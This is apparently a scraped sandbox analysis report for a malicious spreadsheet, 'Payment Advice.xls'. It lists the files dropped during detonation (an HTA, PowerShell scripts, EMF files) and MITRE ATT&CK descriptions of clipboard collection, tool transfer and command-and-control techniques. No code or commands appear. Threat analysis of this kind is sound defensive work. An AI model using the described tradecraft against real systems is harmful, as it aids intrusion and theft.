Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\seethebestthingsevermeetwithgreatthingstobegood[1].hta

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\logisticthingswithgoodthingsgivenbest[1].tiff

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1C3ABE4C.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\33E4563A.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6C39F1DD.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\73203679.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\89D7CF3.emf

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D63E37B7.emf

C:\Users\user\AppData\Local\Temp\1gnxtwym.xfa.psm1

C:\Users\user\AppData\Local\Temp\21rgtxet.q1w.ps1

C:\Users\user\AppData\Local\Temp\RES19C8.tmp

C:\Users\user\AppData\Local\Temp\RES6651.tmp

Windows Analysis Report
Payment Advice.xls

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre